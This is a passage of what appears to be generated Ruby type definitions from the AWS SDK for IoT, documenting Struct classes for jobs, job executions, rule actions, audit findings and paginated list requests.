[rw] sigv4 # Use Sig V4 authorization. For more information, see [Signature # Version 4 Signing Process][1]. # # # # [1]: https://docs.aws.amazon.com/general/latest/gr/signature-version-4.html # @return [Types::SigV4Authorization] # class HttpAuthorization < Struct.new( :sigv4) include Aws::Structure end # Specifies the HTTP context to use for the test authorizer request. # # @note When making an API call, you may pass HttpContext # data as a hash: # # { # headers: { # "HttpHeaderName" => "HttpHeaderValue", # }, # query_string: "HttpQueryString", # } # # @!attribute [rw] headers # The header keys and values in an HTTP authorization request. # @return [Hash<String,String>] # # @!attribute [rw] query_string # The query string keys and values in an HTTP authorization request. # @return [String] # class HttpContext < Struct.new( :headers, :query_string) include Aws::Structure end # HTTP URL destination configuration used by the topic rule's HTTP # action. # # @note When making an API call, you may pass HttpUrlDestinationConfiguration # data as a hash: # # { # confirmation_url: "Url", # required # } # # @!attribute [rw] confirmation_url # The URL AWS IoT uses to confirm ownership of or access to the topic # rule destination URL. # @return [String] # class HttpUrlDestinationConfiguration < Struct.new( :confirmation_url) include Aws::Structure end # HTTP URL destination properties. # # @!attribute [rw] confirmation_url # The URL used to confirm the HTTP topic rule destination URL. # @return [String] # class HttpUrlDestinationProperties < Struct.new( :confirmation_url) include Aws::Structure end # Information about an HTTP URL destination. # # @!attribute [rw] confirmation_url # The URL used to confirm ownership of or access to the HTTP topic # rule destination URL. # @return [String] # class HttpUrlDestinationSummary < Struct.new( :confirmation_url) include Aws::Structure end # Information that implicitly denies authorization. When policy doesn't # explicitly deny or allow an action on a resource it is considered an # implicit deny. # # @!attribute [rw] policies # Policies that don't contain a matching allow or deny statement for # the specified action on the specified resource. # @return [Array<Types::Policy>] # class ImplicitDeny < Struct.new( :policies) include Aws::Structure end # The index is not ready. # # @!attribute [rw] message # The message for the exception. # @return [String] # class IndexNotReadyException < Struct.new( :message) include Aws::Structure end # An unexpected error has occurred. # # @!attribute [rw] message # The message for the exception. # @return [String] # class InternalException < Struct.new( :message) include Aws::Structure end # An unexpected error has occurred. # # @!attribute [rw] message # The message for the exception. # @return [String] # class InternalFailureException < Struct.new( :message) include Aws::Structure end # The aggregation is invalid. # # @!attribute [rw] message # @return [String] # class InvalidAggregationException < Struct.new( :message) include Aws::Structure end # The query is invalid. # # @!attribute [rw] message # The message for the exception. # @return [String] # class InvalidQueryException < Struct.new( :message) include Aws::Structure end # The request is not valid. # # @!attribute [rw] message # The message for the exception. # @return [String] # class InvalidRequestException < Struct.new( :message) include Aws::Structure end # The response is invalid. # # @!attribute [rw] message # The message for the exception. # @return [String] # class InvalidResponseException < Struct.new( :message) include Aws::Structure end # An attempt was made to change to an invalid state, for example by # deleting a job or a job execution which is "IN\_PROGRESS" without # setting the `force` parameter. # # @!attribute [rw] message # The message for the exception. # @return [String] # class InvalidStateTransitionException < Struct.new( :message) include Aws::Structure end # Sends message data to an AWS IoT Analytics channel. # # @note When making an API call, you may pass IotAnalyticsAction # data as a hash: # # { # channel_arn: "AwsArn", # channel_name: "ChannelName", # role_arn: "AwsArn", # } # # @!attribute [rw] channel_arn # (deprecated) The ARN of the IoT Analytics channel to which message # data will be sent. # @return [String] # # @!attribute [rw] channel_name # The name of the IoT Analytics channel to which message data will be # sent. # @return [String] # # @!attribute [rw] role_arn # The ARN of the role which has a policy that grants IoT Analytics # permission to send message data via IoT Analytics # (iotanalytics:BatchPutMessage). # @return [String] # class IotAnalyticsAction < Struct.new( :channel_arn, :channel_name, :role_arn) include Aws::Structure end # Sends an input to an AWS IoT Events detector. # # @note When making an API call, you may pass IotEventsAction # data as a hash: # # { # input_name: "InputName", # required # message_id: "MessageId", # role_arn: "AwsArn", # required # } # # @!attribute [rw] input_name # The name of the AWS IoT Events input. # @return [String] # # @!attribute [rw] message_id # \[Optional\] Use this to ensure that only one input (message) with a # given messageId will be processed by an AWS IoT Events detector. # @return [String] # # @!attribute [rw] role_arn # The ARN of the role that grants AWS IoT permission to send an input # to an AWS IoT Events detector. # ("Action":"iotevents:BatchPutMessage"). # @return [String] # class IotEventsAction < Struct.new( :input_name, :message_id, :role_arn) include Aws::Structure end # Describes an action to send data from an MQTT message that triggered # the rule to AWS IoT SiteWise asset properties. # # @note When making an API call, you may pass IotSiteWiseAction # data as a hash: # # { # put_asset_property_value_entries: [ # required # { # entry_id: "AssetPropertyEntryId", # asset_id: "AssetId", # property_id: "AssetPropertyId", # property_alias: "AssetPropertyAlias", # property_values: [ # required # { # value: { # required # string_value: "AssetPropertyStringValue", # integer_value: "AssetPropertyIntegerValue", # double_value: "AssetPropertyDoubleValue", # boolean_value: "AssetPropertyBooleanValue", # }, # timestamp: { # required # time_in_seconds: "AssetPropertyTimeInSeconds", # required # offset_in_nanos: "AssetPropertyOffsetInNanos", # }, # quality: "AssetPropertyQuality", # }, # ], # }, # ], # role_arn: "AwsArn", # required # } # # @!attribute [rw] put_asset_property_value_entries # A list of asset property value entries. # @return [Array<Types::PutAssetPropertyValueEntry>] # # @!attribute [rw] role_arn # The ARN of the role that grants AWS IoT permission to send an asset # property value to AWS IoTSiteWise. (`"Action": # "iotsitewise:BatchPutAssetPropertyValue"`). The trust policy can # restrict access to specific asset hierarchy paths. # @return [String] # class IotSiteWiseAction < Struct.new( :put_asset_property_value_entries, :role_arn) include Aws::Structure end # The `Job` object contains details about a job. # # @!attribute [rw] job_arn # An ARN identifying the job with format # "arn:aws:iot:region:account:job/jobId". # @return [String] # # @!attribute [rw] job_id # The unique identifier you assigned to this job when it was created. # @return [String] # # @!attribute [rw] target_selection # Specifies whether the job will continue to run (CONTINUOUS), or will # be complete after all those things specified as targets have # completed the job (SNAPSHOT). If continuous, the job may also be run # on a thing when a change is detected in a target. For example, a job # will run on a device when the thing representing the device is added # to a target group, even after the job was completed by all things # originally in the group. # @return [String] # # @!attribute [rw] status # The status of the job, one of `IN_PROGRESS`, `CANCELED`, # `DELETION_IN_PROGRESS` or `COMPLETED`. # @return [String] # # @!attribute [rw] force_canceled # Will be `true` if the job was canceled with the optional `force` # parameter set to `true`. # @return [Boolean] # # @!attribute [rw] reason_code # If the job was updated, provides the reason code for the update. # @return [String] # # @!attribute [rw] comment # If the job was updated, describes the reason for the update. # @return [String] # # @!attribute [rw] targets # A list of IoT things and thing groups to which the job should be # sent. # @return [Array<String>] # # @!attribute [rw] description # A short text description of the job. # @return [String] # # @!attribute [rw] presigned_url_config # Configuration for pre-signed S3 URLs. # @return [Types::PresignedUrlConfig] # # @!attribute [rw] job_executions_rollout_config # Allows you to create a staged rollout of a job. # @return [Types::JobExecutionsRolloutConfig] # # @!attribute [rw] abort_config # Configuration for criteria to abort the job. # @return [Types::AbortConfig] # # @!attribute [rw] created_at # The time, in seconds since the epoch, when the job was created. # @return [Time] # # @!attribute [rw] last_updated_at # The time, in seconds since the epoch, when the job was last updated. # @return [Time] # # @!attribute [rw] completed_at # The time, in seconds since the epoch, when the job was completed. # @return [Time] # # @!attribute [rw] job_process_details # Details about the job process. # @return [Types::JobProcessDetails] # # @!attribute [rw] timeout_config # Specifies the amount of time each device has to finish its execution # of the job. A timer is started when the job execution status is set # to `IN_PROGRESS`. If the job execution status is not set to another # terminal state before the timer expires, it will be automatically # set to `TIMED_OUT`. # @return [Types::TimeoutConfig] # class Job < Struct.new( :job_arn, :job_id, :target_selection, :status, :force_canceled, :reason_code, :comment, :targets, :description, :presigned_url_config, :job_executions_rollout_config, :abort_config, :created_at, :last_updated_at, :completed_at, :job_process_details, :timeout_config) include Aws::Structure end # The job execution object represents the execution of a job on a # particular device. # # @!attribute [rw] job_id # The unique identifier you assigned to the job when it was created. # @return [String] # # @!attribute [rw] status # The status of the job execution (IN\_PROGRESS, QUEUED, FAILED, # SUCCEEDED, TIMED\_OUT, CANCELED, or REJECTED). # @return [String] # # @!attribute [rw] force_canceled # Will be `true` if the job execution was canceled with the optional # `force` parameter set to `true`. # @return [Boolean] # # @!attribute [rw] status_details # A collection of name/value pairs that describe the status of the job # execution. # @return [Types::JobExecutionStatusDetails] # # @!attribute [rw] thing_arn # The ARN of the thing on which the job execution is running. # @return [String] # # @!attribute [rw] queued_at # The time, in seconds since the epoch, when the job execution was # queued. # @return [Time] # # @!attribute [rw] started_at # The time, in seconds since the epoch, when the job execution # started. # @return [Time] # # @!attribute [rw] last_updated_at # The time, in seconds since the epoch, when the job execution was # last updated. # @return [Time] # # @!attribute [rw] execution_number # A string (consisting of the digits "0" through "9") which # identifies this particular job execution on this particular device. # It can be used in commands which return or update job execution # information. # @return [Integer] # # @!attribute [rw] version_number # The version of the job execution. Job execution versions are # incremented each time they are updated by a device. # @return [Integer] # # @!attribute [rw] approximate_seconds_before_timed_out # The estimated number of seconds that remain before the job execution # status will be changed to `TIMED_OUT`. The timeout interval can be # anywhere between 1 minute and 7 days (1 to 10080 minutes). The # actual job execution timeout can occur up to 60 seconds later than # the estimated duration. This value will not be included if the job # execution has reached a terminal status. # @return [Integer] # class JobExecution < Struct.new( :job_id, :status, :force_canceled, :status_details, :thing_arn, :queued_at, :started_at, :last_updated_at, :execution_number, :version_number, :approximate_seconds_before_timed_out) include Aws::Structure end # Details of the job execution status. # # @!attribute [rw] details_map # The job execution status. # @return [Hash<String,String>] # class JobExecutionStatusDetails < Struct.new( :details_map) include Aws::Structure end # The job execution summary. # # @!attribute [rw] status # The status of the job execution. # @return [String] # # @!attribute [rw] queued_at # The time, in seconds since the epoch, when the job execution was # queued. # @return [Time] # # @!attribute [rw] started_at # The time, in seconds since the epoch, when the job execution # started. # @return [Time] # # @!attribute [rw] last_updated_at # The time, in seconds since the epoch, when the job execution was # last updated. # @return [Time] # # @!attribute [rw] execution_number # A string (consisting of the digits "0" through "9") which # identifies this particular job execution on this particular device. # It can be used later in commands which return or update job # execution information. # @return [Integer] # class JobExecutionSummary < Struct.new( :status, :queued_at, :started_at, :last_updated_at, :execution_number) include Aws::Structure end # Contains a summary of information about job executions for a specific # job. # # @!attribute [rw] thing_arn # The ARN of the thing on which the job execution is running. # @return [String] # # @!attribute [rw] job_execution_summary # Contains a subset of information about a job execution. # @return [Types::JobExecutionSummary] # class JobExecutionSummaryForJob < Struct.new( :thing_arn, :job_execution_summary) include Aws::Structure end # The job execution summary for a thing. # # @!attribute [rw] job_id # The unique identifier you assigned to this job when it was created. # @return [String] # # @!attribute [rw] job_execution_summary # Contains a subset of information about a job execution. # @return [Types::JobExecutionSummary] # class JobExecutionSummaryForThing < Struct.new( :job_id, :job_execution_summary) include Aws::Structure end # Allows you to create a staged rollout of a job. # # @note When making an API call, you may pass JobExecutionsRolloutConfig # data as a hash: # # { # maximum_per_minute: 1, # exponential_rate: { # base_rate_per_minute: 1, # required # increment_factor: 1.0, # required # rate_increase_criteria: { # required # number_of_notified_things: 1, # number_of_succeeded_things: 1, # }, # }, # } # # @!attribute [rw] maximum_per_minute # The maximum number of things that will be notified of a pending job, # per minute. This parameter allows you to create a staged rollout. # @return [Integer] # # @!attribute [rw] exponential_rate # The rate of increase for a job rollout. This parameter allows you to # define an exponential rate for a job rollout. # @return [Types::ExponentialRolloutRate] # class JobExecutionsRolloutConfig < Struct.new( :maximum_per_minute, :exponential_rate) include Aws::Structure end # The job process details. # # @!attribute [rw] processing_targets # The target devices to which the job execution is being rolled out. # This value will be null after the job execution has finished rolling # out to all the target devices. # @return [Array<String>] # # @!attribute [rw] number_of_canceled_things # The number of things that cancelled the job. # @return [Integer] # # @!attribute [rw] number_of_succeeded_things # The number of things which successfully completed the job. # @return [Integer] # # @!attribute [rw] number_of_failed_things # The number of things that failed executing the job. # @return [Integer] # # @!attribute [rw] number_of_rejected_things # The number of things that rejected the job. # @return [Integer] # # @!attribute [rw] number_of_queued_things # The number of things that are awaiting execution of the job. # @return [Integer] # # @!attribute [rw] number_of_in_progress_things # The number of things currently executing the job. # @return [Integer] # # @!attribute [rw] number_of_removed_things # The number of things that are no longer scheduled to execute the job # because they have been deleted or have been removed from the group # that was a target of the job. # @return [Integer] # # @!attribute [rw] number_of_timed_out_things # The number of things whose job execution status is `TIMED_OUT`. # @return [Integer] # class JobProcessDetails < Struct.new( :processing_targets, :number_of_canceled_things, :number_of_succeeded_things, :number_of_failed_things, :number_of_rejected_things, :number_of_queued_things, :number_of_in_progress_things, :number_of_removed_things, :number_of_timed_out_things) include Aws::Structure end # The job summary. # # @!attribute [rw] job_arn # The job ARN. # @return [String] # # @!attribute [rw] job_id # The unique identifier you assigned to this job when it was created. # @return [String] # # @!attribute [rw] thing_group_id # The ID of the thing group. # @return [String] # # @!attribute [rw] target_selection # Specifies whether the job will continue to run (CONTINUOUS), or will # be complete after all those things specified as targets have # completed the job (SNAPSHOT). If continuous, the job may also be run # on a thing when a change is detected in a target. For example, a job # will run on a thing when the thing is added to a target group, even # after the job was completed by all things originally in the group. # @return [String] # # @!attribute [rw] status # The job summary status. # @return [String] # # @!attribute [rw] created_at # The time, in seconds since the epoch, when the job was created. # @return [Time] # # @!attribute [rw] last_updated_at # The time, in seconds since the epoch, when the job was last updated. # @return [Time] # # @!attribute [rw] completed_at # The time, in seconds since the epoch, when the job completed. # @return [Time] # class JobSummary < Struct.new( :job_arn, :job_id, :thing_group_id, :target_selection, :status, :created_at, :last_updated_at, :completed_at) include Aws::Structure end # Describes a key pair. # # @!attribute [rw] public_key # The public key. # @return [String] # # @!attribute [rw] private_key # The private key. # @return [String] # class KeyPair < Struct.new( :public_key, :private_key) include Aws::Structure end # Describes an action to write data to an Amazon Kinesis stream. # # @note When making an API call, you may pass KinesisAction # data as a hash: # # { # role_arn: "AwsArn", # required # stream_name: "StreamName", # required # partition_key: "PartitionKey", # } # # @!attribute [rw] role_arn # The ARN of the IAM role that grants access to the Amazon Kinesis # stream. # @return [String] # # @!attribute [rw] stream_name # The name of the Amazon Kinesis stream. # @return [String] # # @!attribute [rw] partition_key # The partition key. # @return [String] # class KinesisAction < Struct.new( :role_arn, :stream_name, :partition_key) include Aws::Structure end # Describes an action to invoke a Lambda function. # # @note When making an API call, you may pass LambdaAction # data as a hash: # # { # function_arn: "FunctionArn", # required # } # # @!attribute [rw] function_arn # The ARN of the Lambda function. # @return [String] # class LambdaAction < Struct.new( :function_arn) include Aws::Structure end # A limit has been exceeded. # # @!attribute [rw] message # The message for the exception. # @return [String] # class LimitExceededException < Struct.new( :message) include Aws::Structure end # @note When making an API call, you may pass ListActiveViolationsRequest # data as a hash: # # { # thing_name: "DeviceDefenderThingName", # security_profile_name: "SecurityProfileName", # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] thing_name # The name of the thing whose active violations are listed. # @return [String] # # @!attribute [rw] security_profile_name # The name of the Device Defender security profile for which # violations are listed. # @return [String] # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # class ListActiveViolationsRequest < Struct.new( :thing_name, :security_profile_name, :next_token, :max_results) include Aws::Structure end # @!attribute [rw] active_violations # The list of active violations. # @return [Array<Types::ActiveViolation>] # # @!attribute [rw] next_token # A token that can be used to retrieve the next set of results, or # `null` if there are no additional results. # @return [String] # class ListActiveViolationsResponse < Struct.new( :active_violations, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListAttachedPoliciesRequest # data as a hash: # # { # target: "PolicyTarget", # required # recursive: false, # marker: "Marker", # page_size: 1, # } # # @!attribute [rw] target # The group or principal for which the policies will be listed. # @return [String] # # @!attribute [rw] recursive # When true, recursively list attached policies. # @return [Boolean] # # @!attribute [rw] marker # The token to retrieve the next set of results. # @return [String] # # @!attribute [rw] page_size # The maximum number of results to be returned per request. # @return [Integer] # class ListAttachedPoliciesRequest < Struct.new( :target, :recursive, :marker, :page_size) include Aws::Structure end # @!attribute [rw] policies # The policies. # @return [Array<Types::Policy>] # # @!attribute [rw] next_marker # The token to retrieve the next set of results, or ``null`` if # there are no more results. # @return [String] # class ListAttachedPoliciesResponse < Struct.new( :policies, :next_marker) include Aws::Structure end # @note When making an API call, you may pass ListAuditFindingsRequest # data as a hash: # # { # task_id: "AuditTaskId", # check_name: "AuditCheckName", # resource_identifier: { # device_certificate_id: "CertificateId", # ca_certificate_id: "CertificateId", # cognito_identity_pool_id: "CognitoIdentityPoolId", # client_id: "ClientId", # policy_version_identifier: { # policy_name: "PolicyName", # policy_version_id: "PolicyVersionId", # }, # account: "AwsAccountId", # iam_role_arn: "RoleArn", # role_alias_arn: "RoleAliasArn", # }, # max_results: 1, # next_token: "NextToken", # start_time: Time.now, # end_time: Time.now, # } # # @!attribute [rw] task_id # A filter to limit results to the audit with the specified ID. You # must specify either the taskId or the startTime and endTime, but not # both. # @return [String] # # @!attribute [rw] check_name # A filter to limit results to the findings for the specified audit # check. # @return [String] # # @!attribute [rw] resource_identifier # Information identifying the noncompliant resource. # @return [Types::ResourceIdentifier] # # @!attribute [rw] max_results # The maximum number of results to return at one time. The default is # 25. # @return [Integer] # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # # @!attribute [rw] start_time # A filter to limit results to those found after the specified time. # You must specify either the startTime and endTime or the taskId, but # not both. # @return [Time] # # @!attribute [rw] end_time # A filter to limit results to those found before the specified time. # You must specify either the startTime and endTime or the taskId, but # not both. # @return [Time] # class ListAuditFindingsRequest < Struct.new( :task_id, :check_name, :resource_identifier, :max_results, :next_token, :start_time, :end_time) include Aws::Structure end # @!attribute [rw] findings # The findings (results) of the audit. # @return [Array<Types::AuditFinding>] # # @!attribute [rw] next_token # A token that can be used to retrieve the next set of results, or # `null` if there are no additional results. # @return [String] # class ListAuditFindingsResponse < Struct.new( :findings, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListAuditMitigationActionsExecutionsRequest # data as a hash: # # { # task_id: "AuditMitigationActionsTaskId", # required # action_status: "IN_PROGRESS", # accepts IN_PROGRESS, COMPLETED, FAILED, CANCELED, SKIPPED, PENDING # finding_id: "FindingId", # required # max_results: 1, # next_token: "NextToken", # } # # @!attribute [rw] task_id # Specify this filter to limit results to actions for a specific audit # mitigation actions task. # @return [String] # # @!attribute [rw] action_status # Specify this filter to limit results to those with a specific # status. # @return [String] # # @!attribute [rw] finding_id # Specify this filter to limit results to those that were applied to a # specific audit finding. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. The default is # 25. # @return [Integer] # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # class ListAuditMitigationActionsExecutionsRequest < Struct.new( :task_id, :action_status, :finding_id, :max_results, :next_token) include Aws::Structure end # @!attribute [rw] actions_executions # A set of task execution results based on the input parameters. # Details include the mitigation action applied, start time, and task # status. # @return [Array<Types::AuditMitigationActionExecutionMetadata>] # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # class ListAuditMitigationActionsExecutionsResponse < Struct.new( :actions_executions, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListAuditMitigationActionsTasksRequest # data as a hash: # # { # audit_task_id: "AuditTaskId", # finding_id: "FindingId", # task_status: "IN_PROGRESS", # accepts IN_PROGRESS, COMPLETED, FAILED, CANCELED # max_results: 1, # next_token: "NextToken", # start_time: Time.now, # required # end_time: Time.now, # required # } # # @!attribute [rw] audit_task_id # Specify this filter to limit results to tasks that were applied to # results for a specific audit. # @return [String] # # @!attribute [rw] finding_id # Specify this filter to limit results to tasks that were applied to a # specific audit finding. # @return [String] # # @!attribute [rw] task_status # Specify this filter to limit results to tasks that are in a specific # state. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. The default is # 25. # @return [Integer] # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # # @!attribute [rw] start_time # Specify this filter to limit results to tasks that began on or after # a specific date and time. # @return [Time] # # @!attribute [rw] end_time # Specify this filter to limit results to tasks that were completed or # canceled on or before a specific date and time. # @return [Time] # class ListAuditMitigationActionsTasksRequest < Struct.new( :audit_task_id, :finding_id, :task_status, :max_results, :next_token, :start_time, :end_time) include Aws::Structure end # @!attribute [rw] tasks # The collection of audit mitigation tasks that matched the filter # criteria. # @return [Array<Types::AuditMitigationActionsTaskMetadata>] # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # class ListAuditMitigationActionsTasksResponse < Struct.new( :tasks, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListAuditTasksRequest # data as a hash: # # { # start_time: Time.now, # required # end_time: Time.now, # required # task_type: "ON_DEMAND_AUDIT_TASK", # accepts ON_DEMAND_AUDIT_TASK, SCHEDULED_AUDIT_TASK # task_status: "IN_PROGRESS", # accepts IN_PROGRESS, COMPLETED, FAILED, CANCELED # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] start_time # The beginning of the time period. Audit information is retained for # a limited time (180 days). Requesting a start time prior to what is # retained results in an "InvalidRequestException". # @return [Time] # # @!attribute [rw] end_time # The end of the time period. # @return [Time] # # @!attribute [rw] task_type # A filter to limit the output to the specified type of audit: can be # one of "ON\_DEMAND\_AUDIT\_TASK" or "SCHEDULED\_\_AUDIT\_TASK". # @return [String] # # @!attribute [rw] task_status # A filter to limit the output to audits with the specified completion # status: can be one of "IN\_PROGRESS", "COMPLETED", "FAILED", # or "CANCELED". # @return [String] # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. The default is # 25. # @return [Integer] # class ListAuditTasksRequest < Struct.new( :start_time, :end_time, :task_type, :task_status, :next_token, :max_results) include Aws::Structure end # @!attribute [rw] tasks # The audits that were performed during the specified time period. # @return [Array<Types::AuditTaskMetadata>] # # @!attribute [rw] next_token # A token that can be used to retrieve the next set of results, or # `null` if there are no additional results. # @return [String] # class ListAuditTasksResponse < Struct.new( :tasks, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListAuthorizersRequest # data as a hash: # # { # page_size: 1, # marker: "Marker", # ascending_order: false, # status: "ACTIVE", # accepts ACTIVE, INACTIVE # } # # @!attribute [rw] page_size # The maximum number of results to return at one time. # @return [Integer] # # @!attribute [rw] marker # A marker used to get the next set of results. # @return [String] # # @!attribute [rw] ascending_order # Return the list of authorizers in ascending alphabetical order. # @return [Boolean] # # @!attribute [rw] status # The status of the list authorizers request. # @return [String] # class ListAuthorizersRequest < Struct.new( :page_size, :marker, :ascending_order, :status) include Aws::Structure end # @!attribute [rw] authorizers # The authorizers. # @return [Array<Types::AuthorizerSummary>] # # @!attribute [rw] next_marker # A marker used to get the next set of results. # @return [String] # class ListAuthorizersResponse < Struct.new( :authorizers, :next_marker) include Aws::Structure end # @note When making an API call, you may pass ListBillingGroupsRequest # data as a hash: # # { # next_token: "NextToken", # max_results: 1, # name_prefix_filter: "BillingGroupName", # } # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return per request. # @return [Integer] # # @!attribute [rw] name_prefix_filter # Limit the results to billing groups whose names have the given # prefix. # @return [String] # class ListBillingGroupsRequest < Struct.new( :next_token, :max_results, :name_prefix_filter) include Aws::Structure end # @!attribute [rw] billing_groups # The list of billing groups. # @return [Array<Types::GroupNameAndArn>] # # @!attribute [rw] next_token # The token used to get the next set of results, or **null** if there # are no additional results. # @return [String] # class ListBillingGroupsResponse < Struct.new( :billing_groups, :next_token) include Aws::Structure end # Input for the ListCACertificates operation. # # @note When making an API call, you may pass ListCACertificatesRequest # data as a hash: # # { # page_size: 1, # marker: "Marker", # ascending_order: false, # } # # @!attribute [rw] page_size # The result page size. # @return [Integer] # # @!attribute [rw] marker # The marker for the next set of results. # @return [String] # # @!attribute [rw] ascending_order # Determines the order of the results. # @return [Boolean] # class ListCACertificatesRequest < Struct.new( :page_size, :marker, :ascending_order) include Aws::Structure end # The output from the ListCACertificates operation. # # @!attribute [rw] certificates # The CA certificates registered in your AWS account. # @return [Array<Types::CACertificate>] # # @!attribute [rw] next_marker # The current position within the list of CA certificates. # @return [String] # class ListCACertificatesResponse < Struct.new( :certificates, :next_marker) include Aws::Structure end # The input to the ListCertificatesByCA operation. # # @note When making an API call, you may pass ListCertificatesByCARequest # data as a hash: # # { # ca_certificate_id: "CertificateId", # required # page_size: 1, # marker: "Marker", # ascending_order: false, # } # # @!attribute [rw] ca_certificate_id # The ID of the CA certificate. This operation will list all # registered device certificate that were signed by this CA # certificate. # @return [String] # # @!attribute [rw] page_size # The result page size. # @return [Integer] # # @!attribute [rw] marker # The marker for the next set of results. # @return [String] # # @!attribute [rw] ascending_order # Specifies the order for results. If True, the results are returned # in ascending order, based on the creation date. # @return [Boolean] # class ListCertificatesByCARequest < Struct.new( :ca_certificate_id, :page_size, :marker, :ascending_order) include Aws::Structure end # The output of the ListCertificatesByCA operation. # # @!attribute [rw] certificates # The device certificates signed by the specified CA certificate. # @return [Array<Types::Certificate>] # # @!attribute [rw] next_marker # The marker for the next set of results, or null if there are no # additional results. # @return [String] # class ListCertificatesByCAResponse < Struct.new( :certificates, :next_marker) include Aws::Structure end # The input for the ListCertificates operation. # # @note When making an API call, you may pass ListCertificatesRequest # data as a hash: # # { # page_size: 1, # marker: "Marker", # ascending_order: false, # } # # @!attribute [rw] page_size # The result page size. # @return [Integer] # # @!attribute [rw] marker # The marker for the next set of results. # @return [String] # # @!attribute [rw] ascending_order # Specifies the order for results. If True, the results are returned # in ascending order, based on the creation date. # @return [Boolean] # class ListCertificatesRequest < Struct.new( :page_size, :marker, :ascending_order) include Aws::Structure end # The output of the ListCertificates operation. # # @!attribute [rw] certificates # The descriptions of the certificates. # @return [Array<Types::Certificate>] # # @!attribute [rw] next_marker # The marker for the next set of results, or null if there are no # additional results. # @return [String] # class ListCertificatesResponse < Struct.new( :certificates, :next_marker) include Aws::Structure end # @note When making an API call, you may pass ListDomainConfigurationsRequest # data as a hash: # # { # marker: "Marker", # page_size: 1, # service_type: "DATA", # accepts DATA, CREDENTIAL_PROVIDER, JOBS # } # # @!attribute [rw] marker # The marker for the next set of results. # @return [String] # # @!attribute [rw] page_size # The result page size. # @return [Integer] # # @!attribute [rw] service_type # The type of service delivered by the endpoint. # @return [String] # class ListDomainConfigurationsRequest < Struct.new( :marker, :page_size, :service_type) include Aws::Structure end # @!attribute [rw] domain_configurations # A list of objects that contain summary information about the user's # domain configurations. # @return [Array<Types::DomainConfigurationSummary>] # # @!attribute [rw] next_marker # The marker for the next set of results. # @return [String] # class ListDomainConfigurationsResponse < Struct.new( :domain_configurations, :next_marker) include Aws::Structure end # @note When making an API call, you may pass ListIndicesRequest # data as a hash: # # { # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] next_token # The token used to get the next set of results, or `null` if there # are no additional results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # class ListIndicesRequest < Struct.new( :next_token, :max_results) include Aws::Structure end # @!attribute [rw] index_names # The index names. # @return [Array<String>] # # @!attribute [rw] next_token # The token used to get the next set of results, or `null` if there # are no additional results. # @return [String] # class ListIndicesResponse < Struct.new( :index_names, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListJobExecutionsForJobRequest # data as a hash: # # { # job_id: "JobId", # required # status: "QUEUED", # accepts QUEUED, IN_PROGRESS, SUCCEEDED, FAILED, TIMED_OUT, REJECTED, REMOVED, CANCELED # max_results: 1, # next_token: "NextToken", # } # # @!attribute [rw] job_id # The unique identifier you assigned to this job when it was created. # @return [String] # # @!attribute [rw] status # The status of the job. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to be returned per request. # @return [Integer] # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # class ListJobExecutionsForJobRequest < Struct.new( :job_id, :status, :max_results, :next_token) include Aws::Structure end # @!attribute [rw] execution_summaries # A list of job execution summaries. # @return [Array<Types::JobExecutionSummaryForJob>] # # @!attribute [rw] next_token # The token for the next set of results, or **null** if there are no # additional results. # @return [String] # class ListJobExecutionsForJobResponse < Struct.new( :execution_summaries, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListJobExecutionsForThingRequest # data as a hash: # # { # thing_name: "ThingName", # required # status: "QUEUED", # accepts QUEUED, IN_PROGRESS, SUCCEEDED, FAILED, TIMED_OUT, REJECTED, REMOVED, CANCELED # max_results: 1, # next_token: "NextToken", # } # # @!attribute [rw] thing_name # The thing name. # @return [String] # # @!attribute [rw] status # An optional filter that lets you search for jobs that have the # specified status. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to be returned per request. # @return [Integer] # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # class ListJobExecutionsForThingRequest < Struct.new( :thing_name, :status, :max_results, :next_token) include Aws::Structure end # @!attribute [rw] execution_summaries # A list of job execution summaries. # @return [Array<Types::JobExecutionSummaryForThing>] # # @!attribute [rw] next_token # The token for the next set of results, or **null** if there are no # additional results. # @return [String] # class ListJobExecutionsForThingResponse < Struct.new( :execution_summaries, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListJobsRequest # data as a hash: # # { # status: "IN_PROGRESS", # accepts IN_PROGRESS, CANCELED, COMPLETED, DELETION_IN_PROGRESS # target_selection: "CONTINUOUS", # accepts CONTINUOUS, SNAPSHOT # max_results: 1, # next_token: "NextToken", # thing_group_name: "ThingGroupName", # thing_group_id: "ThingGroupId", # } # # @!attribute [rw] status # An optional filter that lets you search for jobs that have the # specified status. # @return [String] # # @!attribute [rw] target_selection # Specifies whether the job will continue to run (CONTINUOUS), or will # be complete after all those things specified as targets have # completed the job (SNAPSHOT). If continuous, the job may also be run # on a thing when a change is detected in a target. For example, a job # will run on a thing when the thing is added to a target group, even # after the job was completed by all things originally in the group. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return per request. # @return [Integer] # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # # @!attribute [rw] thing_group_name # A filter that limits the returned jobs to those for the specified # group. # @return [String] # # @!attribute [rw] thing_group_id # A filter that limits the returned jobs to those for the specified # group. # @return [String] # class ListJobsRequest < Struct.new( :status, 